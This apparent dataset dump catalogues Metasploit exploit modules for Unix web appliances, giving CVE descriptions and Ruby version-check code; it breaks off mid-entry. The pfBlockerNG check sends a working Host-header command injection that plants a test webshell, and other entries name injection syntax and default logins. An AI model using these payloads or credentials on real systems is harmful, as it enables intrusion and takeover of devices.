deardaniel/secdata-raw huggingface dataset:
Metasploit Module: FreePBX filestore authenticated command injection
Type: exploit
Path: modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb
Platform: %w[unix linux
Disclosure date: 2025-11-08
References: CVE-2025-64328, URL-https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/
Targets: Unix Command

Description:
This module exploits an authenticated command injection vulnerability (CVE-2025-64328) in the
          FreePBX filestore module. The filestore module allows administrators to configure remote file
          storage backends (SSH, FTP, etc.) for backup and file management purposes.

          The vulnerability exists in the SSH driver's testconnection functionality, specifically in the
          check_ssh_connect() function located at /admin/modules/filestore/drivers/SSH/testconnection.php.
          The function accepts user-controlled input for the SSH key path parameter, which is then passed
          unsanitized to exec() calls when generating SSH keys.

          The vulnerable code executes commands such as:
          exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");

          By injecting shell command substitution syntax (e.g., $(command)) into the key parameter, an
          authenticated user can execute arbitrary commands on the underlying system with the privileges of
          the web server process (typically the asterisk user).

          This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in
          17.0.2.36, patched in 17.0.3). The module requires valid FreePBX credentials for a user account that
          has access to the filestore module. The user must be in the "Filestore" group (administrator or
          low-privilege user).

          Note: Due to the vulnerable code structure, the injected command may be executed multiple times,
          potentially resulting in multiple Meterpreter sessions.

Check method (fingerprinting):
data = freepbx_get_login_page_data
    unless data[:detected]
      vprint_status('Target does not appear to be FreePBX')
      return CheckCode::Safe('Not FreePBX')
    end

    begin
      cookie = authenticate
    rescue AuthenticationError
      return CheckCode::Detected('Invalid credentials')
    rescue ConnectionError
      return CheckCode::Safe('Not FreePBX')
    end

    version = get_filestore_version_cached(cookie)
    return CheckCode::Detected('Filestore module version could not be determined') unless version

    version_obj = Rex::Version.new(version)
    return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3')
    return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36')

    CheckCode::Appears("Filestore module vulnerable (version #{version})")
  end
Metasploit Module: FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution
Type: exploit
Path: modules/exploits/unix/http/freepbx_callmenum.rb
Platform: unix
Disclosure date: 2012-03-20
References: CVE-2012-4869, OSVDB-80544, EDB-18649

Description:
This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
          Due to the way callme_page.php handles the 'callmenum' parameter, it
          is possible to inject code to the '$channel' variable in function
          callme_startcall in order to gain remote code execution.

          Please note in order to use this module properly, you must know the
          extension number, which can be enumerated or bruteforced, or you may
          try some of the default extensions such as 0 or 200.  Also, the call
          has to be answered (or go to voice).

          Tested on both Elastix and FreePBX ISO image installs.
Metasploit Module: Schneider Electric Pelco Endura NET55XX Encoder
Type: exploit
Path: modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Platform: unix
Disclosure date: 2019-01-25
References: CVE-2019-6814, URL-https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/

Description:
This module exploits inadequate access controls within the webUI to enable
          the SSH service and change the root password. This module has been tested successfully
          on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.

Check method (fingerprinting):
xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
                 '<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
                 '<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
                 '<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
                 '<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
                 '<a:ReplyTo>'\
                 '<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
                 '</a:ReplyTo>'\
                 '<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
                 '</Header>'\
                 '<Body>'\
                 '<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
                 '<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
                 '</Probe>'\
                 '</Body>'\
                 '</Envelope><?xml version="1.0" encoding="UTF-8"?>'

    connect_udp(true, { 'RPORT' => datastore['UDP_PORT'] })
    udp_sock.put(xmlPayload)
    resp = []
    resp << udp_sock.get(datastore['TIMEOUT'])
    xmlResponse = resp.join(',')
    disconnect_udp
    if xmlResponse.include?('NET5501') || xmlResponse.include?('NET5501-I') || xmlResponse.include?('NET5501-XT') || xmlResponse.include?('NET5504') || xmlResponse.include?('NET5500') || xmlResponse.include?('NET5516') ||
Metasploit Module: xdebug Unauthenticated OS Command Execution
Type: exploit
Path: modules/exploits/unix/http/xdebug_unauth_exec.rb
Platform: php
Disclosure date: 2017-09-17
References: CVE-2015-10141, URL-https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/, URL-http://web.archive.org/web/[PII_REDACTED]5418/https://paper.seebug.org/397/

Description:
Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below.
          This allows the attacker to execute arbitrary php code as the context of the web user.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => datastore["PATH"],
        'method' => 'GET',
        'vars_get' => {
          'XDEBUG_SESSION_START' => rand_text_alphanumeric(10)
        }
      })
      vprint_status "Request sent\n#{res}"
      if res && res.headers.to_s =~ /XDEBUG/i
        vprint_good("Looks like remote server has xdebug enabled\n")
        return CheckCode::Detected('Xdebug header detected in response')
      else
        return CheckCode::Safe('Xdebug header not found in response')
      end
    rescue Rex::ConnectionError
      return CheckCode::Unknown('Connection to target failed')
    end
  end
Metasploit Module: Cambium ePMP1000 'get_chart' Shell via Command Injection (v3.1-3.5-RC7)
Type: exploit
Path: modules/exploits/unix/http/epmp1000_get_chart_cmd_shell.rb
Platform: unix
Disclosure date: 2017-12-18
References: CVE-2017-5255, URL-https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities
Targets: CMD

Description:
This module exploits an OS Command Injection vulnerability in Cambium
          ePMP1000 device management portal. It requires any one of the following login
          credentials - admin/admin, installer/installer, home/home - to set up a reverse
          netcat shell. The module has been tested on versions 3.1-3.5-RC7.

Check method (fingerprinting):
success, epmp_ver = is_app_epmp1000?
    if (success != 'false' && !epmp_ver.nil? && epmp_ver >= '3.1')
      return CheckCode::Vulnerable("ePMP1000 version #{epmp_ver} is vulnerable")
    else
      return CheckCode::Safe('Target is not a vulnerable ePMP1000 version')
    end
  end

  #
  # Login
  #
Metasploit Module: Syncovery For Linux Web-GUI Authenticated Remote Command Execution
Type: exploit
Path: modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Platform: unix
Disclosure date: 2022-09-06
References: URL-https://www.mgm-sp.com/en/multiple-vulnerabilities-in-syncovery-for-linux/, CVE-2022-36534

Description:
This module exploits an authenticated command injection vulnerability in the Web GUI of Syncovery File Sync & Backup Software for Linux.
          Successful exploitation results in remote code execution under the context of the root user.

          Syncovery allows an authenticated user to create jobs, which are executed before/after a profile is run.
          Jobs can contain arbitrary system commands and will be executed as root.
          A valid username and password or a session token is needed to exploit the vulnerability.
          The profile and its log file will be deleted afterwards to disguise the attack.

          The vulnerability is known to work on Linux platforms. All Syncovery versions prior to v9.48j are vulnerable including all versions of branch 8.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/get_global_variables'),
      'method' => 'GET'
    )

    if res && res.code == 200
      json_res = res.get_json_document
      if json_res['isSyncoveryWindows'] == 'false'
        version = json_res['SyncoveryTitle']&.scan(/Syncovery\s([A-Za-z0-9.]+)/)&.flatten&.first || ''
        if version.empty?
          vprint_warning("#{peer} - Could not identify version")
          Exploit::CheckCode::Detected('Syncovery detected but version could not be identified')
        elsif Rex::Version.new(version) < Rex::Version.new('9.48j') || Rex::Version.new(version) == Rex::Version.new('9.48')
          vprint_good("#{peer} - Syncovery #{version}")
          Exploit::CheckCode::Appears("Syncovery version #{version} appears vulnerable")
        else
          vprint_status("#{peer} - Syncovery #{version}")
          Exploit::CheckCode::Safe("Syncovery version #{version} is not vulnerable")
        end
      else
        Exploit::CheckCode::Safe('Target is running Syncovery on Windows, not Linux')
      end
    else
      Exploit::CheckCode::Unknown('Could not connect to Syncovery web interface')
    end
  end
Metasploit Module: Clickjacking Vulnerability In CSRF Error Page pfSense
Type: exploit
Path: modules/exploits/unix/http/pfsense_clickjacking.rb
Platform: php
Disclosure date: 2017-11-21
Authors: Yorick Koster
References: CVE-2[PII_REDACTED], URL-https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html, URL-https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes

Description:
This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.

          pfSense is a free and open source firewall and router. It was found that the
          pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
          into interacting with a specially crafted webpage it is possible for an attacker
          to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
          this will result in a full compromise of the pfSense instance.
Metasploit Module: Cacti color filter authenticated SQLi to RCE
Type: exploit
Path: modules/exploits/unix/http/cacti_filter_sqli_rce.rb
Platform: php
Disclosure date: 2020-06-17
References: EDB-49810, URL-https://github.com/Cacti/cacti/issues/3622, CVE-2020-14295

Description:
This module exploits a SQL injection vulnerability in Cacti 1.2.12 and before. An admin can exploit the filter
          variable within color.php to pull arbitrary values as well as conduct stacked queries. With stacked queries, the
          path_php_binary value is changed within the settings table to a payload, and an update is called to execute the payload.
          After calling the payload, the value is reset.

Check method (fingerprinting):
begin
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'GET'
      )
      return CheckCode::Safe("#{peer} - Could not connect to web service - no response") if res.nil?
      return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

      # cacti gives us the version in a JS variable
      /var cactiVersion='(?<version>\d{1,2}\.\d{1,2}\.\d{1,2})'/ =~ res.body

      if version && Rex::Version.new(version) <= Rex::Version.new('1.2.12')
        vprint_good("Version Detected: #{version}")
        return CheckCode::Appears("Cacti version #{version} appears vulnerable")
      end
    rescue ::Rex::ConnectionError
      CheckCode::Safe("#{peer} - Could not connect to the web service") # unknown maybe?
    end
    CheckCode::Safe("Cacti #{version} is not a vulnerable version.")
  end
Metasploit Module: Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)
Type: exploit
Path: modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb
Platform: unix
Disclosure date: 2015-11-28
References: CVE-2017-5255, URL-http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/, URL-https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83
Targets: EPMP

Description:
This module exploits an OS Command Injection vulnerability in Cambium
          ePMP1000 device management portal. It requires any one of the following login
          credentials - admin/admin, installer/installer, home/home - to set up a reverse
          netcat shell.

Check method (fingerprinting):
success, epmp_ver = is_app_epmp1000?
    if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')
      return CheckCode::Vulnerable("ePMP1000 version #{epmp_ver} is vulnerable")
    else
      return CheckCode::Safe('Target is not a vulnerable ePMP1000 version')
    end
  end

  #
  # Login
  #
Metasploit Module: pfSense plugin pfBlockerNG unauthenticated RCE as root
Type: exploit
Path: modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb
Platform: unix
Disclosure date: 2022-09-05
References: CVE-2022-31814, URL-https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/, EDB-51032
Targets: Unix Command, BSD Dropper

Description:
pfBlockerNG is a popular pfSense plugin that is not installed by default. It's generally used to
          block inbound connections from whole countries or IP ranges. Versions 2.1.4_26 and below are affected
          by an unauthenticated RCE vulnerability that results in root access. Note that version 3.x is unaffected.

Check method (fingerprinting):
test_file_name = Rex::Text.rand_text_alpha(4..12)
    test_file_content = Rex::Text.rand_text_alpha(4..12)
    test_injection = <<~EOF
      <?php echo file_put_contents('/usr/local/www/#{test_file_name}','#{test_file_content}');
    EOF
    encoded_php = test_injection.unpack('H*')[0].upcase
    send_request_raw(
      'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
      'headers' => {
        'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
      }
    )
    sleep datastore['WfsDelay']

    check_resp = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/#{test_file_name}")
    )
    return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || !check_resp.code == 200 || !check_resp.body.include?(test_file_content)

    # Clean up test webshell "/usr/local/www/#{test_file_name}"
    clean_up_injection = <<~EOF
      <?php echo unlink('/usr/local/www/#{test_file_name}');
    EOF
    encoded_clean_up = clean_up_injection.unpack('H*')[0].upcase
    send_request_raw(
      'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
      'headers' => {
        'Host' => "' *; echo '16i #{encoded_clean_up} P' | dc | php; '"
      }
    )
    Exploit::CheckCode::Vulnerable('Successfully uploaded and executed test webshell via pfBlockerNG')
  end
Metasploit Module: Maltrail Unauthenticated Command Injection
Type: exploit
Path: modules/exploits/unix/http/maltrail_rce.rb
Platform: unix
Disclosure date: 2023-07-31
References: CVE-2025-34073, EDB-51676, CVE-2025-34073, URL-https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/, URL-https://github.com/stamparm/maltrail/issues/19146
Targets: Unix Command, Linux Dropper

Description:
Maltrail is a malicious traffic detection system, utilizing publicly
          available blacklists containing malicious and/or generally suspicious trails.
          The Maltrail versions <= 0.54 is suffering from a command injection vulnerability.
          The `subprocess.check_output` function in `mailtrail/core/httpd.py` contains
          a command injection vulnerability in the `params.get("username")` parameter.
          An attacker can exploit this vulnerability by injecting arbitrary OS commands
          into the username parameter. The injected commands will be executed with the
          privileges of the running process. This vulnerability can be exploited remotely
          without authentication.

          Successfully tested against Maltrail versions 0.52 and 0.53.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{\(v<b>([0-9.]+)</b>\)}

    if version < Rex::Version.new('0.54')
      return CheckCode::Appears("Version Detected: #{version}")
    end

    CheckCode::Safe("Version Detected: #{version}")
  end
Metasploit Module: pfSense Restore RRD Data Command Injection
Type: exploit
Path: modules/exploits/unix/http/pfsense_config_data_exec.rb
Platform: unix
Disclosure date: 2023-03-18
References: CVE-2023-27253, URL-https://redmine.pfsense.org/issues/13935, URL-https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94

Description:
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
          pfSense prior to version 2.7.0 which allows an authenticated attacker with the  "WebCfg - Diagnostics: Backup & Restore"
          privilege to execute arbitrary operating system commands as the "root" user.

          This module has been tested successfully on version 2.6.0-RELEASE.

Check method (fingerprinting):
unless login
      return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    unless res&.body&.include?('Diagnostics: ')
      return Exploit::CheckCode::Safe('Vulnerable module not reachable')
    end

    version = detect_version
    unless version
      return Exploit::CheckCode::Detected('Unable to get the pfSense version')
    end

    unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
      return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
    end

    Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
  end
Metasploit Module: Quest KACE Systems Management Command Injection
Type: exploit
Path: modules/exploits/unix/http/quest_kace_systems_management_rce.rb
Platform: unix
Disclosure date: 2018-05-31
References: CVE-2018-11138, URL-http://web.archive.org/web/[PII_REDACTED]1500/https://support.quest.com/product-notification/noti-00000134, URL-https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities

Description:
This module exploits a command injection vulnerability in Quest KACE
          Systems Management Appliance version 8.0.318 (and possibly prior).

          The `download_agent_installer.php` file allows unauthenticated users
          to execute arbitrary commands as the web server user `www`.

          A valid Organization ID is required. The default value is `1`.

          A valid Windows agent version number must also be provided. If file
          sharing is enabled, the agent versions are available within the
          `\kace.local\client\agent_provisioning\windows_platform` Samba share.
          Additionally, various agent versions are listed on the KACE website.

          This module has been tested successfully on Quest KACE Systems
          Management Appliance K1000 version 8.0 (Build 8.0.318).

Check method (fingerprinting):
res = send_request_cgi('uri' => normalize_uri('common', 'download_agent_installer.php'))
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Connection to Quest KACE failed')
    end

    unless res.code == 302 && res.headers.to_s.include?('X-KACE-Appliance')
      vprint_status 'Remote host is not a Quest KACE appliance'
      return CheckCode::Safe('Target is not a Quest KACE appliance')
    end

    unless res.headers['X-KACE-Version'] =~ /\A([0-9]+)\.([0-9]+)\.([0-9]+)\z/
      vprint_error 'Could not determine KACE appliance version'
      return CheckCode::Detected('Quest KACE detected but version could not be determined')
    end

    version = Rex::Version.new res.headers['X-KACE-Version'].to_s
    vprint_status "Found KACE appliance version #{version}"

    # Patched versions : http://web.archive.org/web/[PII_REDACTED]1500/https://support.quest.com/product-notification/noti-00000134
    if version < Rex::Version.new('7.0') ||
       (version >= Rex::Version.new('7.0') && version < Rex::Version.new('7.0.121307')) ||
       (version >= Rex::Version.new('7.1') && version < Rex::Version.new('7.1.150')) ||
       (version >= Rex::Version.new('7.2') && version < Rex::Version.new('7.2.103')) ||
       (version >= Rex::Version.new('8.0') && version < Rex::Version.new('8.0.320')) ||
       (version >= Rex::Version.new('8.1') && version < Rex::Version.new('8.1.108'))
      return CheckCode::Appears("Quest KACE version #{version} appears vulnerabl